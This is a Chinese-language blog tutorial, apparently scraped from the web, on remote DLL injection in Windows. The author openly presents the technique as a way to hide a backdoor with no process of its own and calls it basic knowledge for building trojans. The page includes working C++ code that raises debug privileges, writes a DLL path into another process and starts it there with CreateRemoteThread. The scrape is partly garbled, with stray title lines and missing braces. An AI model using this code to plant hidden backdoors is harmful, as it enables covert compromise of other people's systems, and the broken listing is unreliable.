天天看點

遠端注入DLL(簡單描述)

遠端注入DLL(簡單描述)

遠端注入DLL

建議在閱讀本文前先閱讀

取得句柄的令牌 OpenProcessToken()函數

一文!

沒錯,現在讨論的就是傳說中的遠端注入技術,目前一種非常流行的隐藏技術,因為它沒有程序,是通過遠端插入線程調用DLL檔案實作的!在這裡先說一下.dll檔案,.dll檔案,其實就是動态連接配接庫,它裡面裝封了提供.exe檔案調用的函數,一般情況下,輕按兩下它,是不能運作它的,它隻能由.exe來調用,于是就有了遠端注入了,原理很簡單:我們把後門的主要功能寫成一個函數,然後裝封到.dl檔案中,然後再另外寫一個執行檔案來啟動它,這樣就不會有後門的程序了。那遠端注入又指什麼呢?這個問題問得好,一般情況下,每個程序都有自己的私有空間,理論上,别的程序是不允許對這個私人空間進行操作的,但是,我們可以利用一些方法進入這個空間并進行操作,将自己的代碼寫入正在運作的程序中,于是就有了遠端注入了。

對dll後門的編寫就不作過多的讨論了,現在來看實作注入功能的可執行檔案的編寫:

用到的函數有:

OpenProcessToken();

LookupPrivilegeValue();

AdjustTokenPrivileges();

OpenProcess();

VirtualAllocEx();

WriteProcessMemory();

GetProcAddress();

CreateRemoteThread();

先簡單的介紹以下這些函數的作用,因為我們要操作的是系統中的其他程序,如果沒有足夠的系統權限,我們是無法寫入甚至連讀取其它程序的記憶體位址的,是以我們就需要提升自己的權限,用到以下3個函數

OpenProcessToken();                          //打開程序令牌

LookupPrivilegeValue();                   //傳回一個本地系統獨一無二的ID,用于系統權限更改

AdjustTokenPrivileges(); //從英文意思也能看出它是更改程序權限用的吧?

進入宿主程序的記憶體空間

在擁有了進入宿主程序空間的權限之後,我們就需要在其記憶體加入讓它加載我們後門的代碼了,用LoadLibraryA()函數就可以加載我們的DLL了,它隻需要DLL檔案的路徑就可以了,在這裡我們要把DLL檔案的路徑寫入到宿主的記憶體空間裡,因為DLL的檔案路徑并不存在于宿主程序記憶體空間了,用到的函數有:

OpenProcess();//用于修改宿主程序的一些屬性,詳細參看MSDN

VirtualAllocEx();//用于在宿主記憶體空間中申請記憶體空間以寫入DLL的檔案名

WriteProcessMemory();//往申請到的空間中寫入DLL的檔案名

在宿主中啟動新的線程

用的是LoadLibraryA()函數來加載,但在使用LoadLibraryA()之前必須知道它的入口位址,是以用GetProcAdress來獲得它的入口位址,有了它的位址以後,就可以用CreateRemoteThread()函數來啟動新的線程了,到次,整個注入過程完成,不過還不非常完善,這就留給聰明的你來完成了;)。

簡單的例子:

#include <windows.h>

#include <iostream.h>

int EnableDebugPriv(const char * name)

{

                           HANDLE hToken;

                           TOKEN_PRIVILEGES tp;

                           LUID luid;

                           //打開程序令牌環

                           OpenProcessToken(GetCurrentProcess(),

                                           TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,

                                           &hToken);

                           //獲得程序本地唯一ID

                           LookupPrivilegeValue(NULL,name,&luid) ;

                           tp.PrivilegeCount = 1;

                           tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                           tp.Privileges[0].Luid = luid;

                           //調整權限

                           AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

                           return 0;

}

//*****************************************************************************************************************************

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

                           HANDLE hRemoteProcess;

                           EnableDebugPriv(SE_DEBUG_NAME);

                           //打開遠端線程

                           hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

                           char *pszLibFileRemote;

                           //使用VirtualAllocEx函數在遠端程序的記憶體位址空間配置設定DLL檔案名空間

                           pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1,

                                                   MEM_COMMIT, PAGE_READWRITE);

                           //使用WriteProcessMemory函數将DLL的路徑名寫入到遠端程序的記憶體空間

                           WriteProcessMemory(hRemoteProcess,

                                       pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);

//##############################################################################

                           //計算LoadLibraryA的入口位址

                           PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

                                   GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

                           //(關于

GetModuleHandle函數

GetProcAddress函數

)

                           //啟動遠端線程LoadLibraryA,通過遠端線程調用建立新的線程

                           HANDLE hRemoteThread;

                           if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)

                           {

                               cout<<"注入線程失敗!"<<endl;

                               return FALSE;

                           }

                           /*

遠端注入DLL(簡單描述)

                           // 在//###.....//###裡的語句也可以用如下的語句代替:

                            DWORD dwID;

                            LPVOID pFunc = LoadLibraryA;

                            HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

                            //是不是感覺簡單了很多

遠端注入DLL(簡單描述)

                           */

遠端注入DLL(簡單描述)

                             // 釋放句柄

                           CloseHandle(hRemoteProcess);

                           CloseHandle(hRemoteThread);

                           return TRUE;

}

int main()

                           InjectDll("c:\\zrqfzr.dll",3060) ;//這個數字是你想注入的程序的ID号

遠端注入DLL(簡單描述)

此程式在VC6.0裡編譯通過!哈哈學會了嗎?在NT系列作業系統中,EnableDebugPriv函數實作的部分可以去掉的。要研究木馬這個技術可是基礎。

http://hi.baidu.com/fpsixkukaiadmwr/item/19c1b1794a418647ee1e5339

繼續閱讀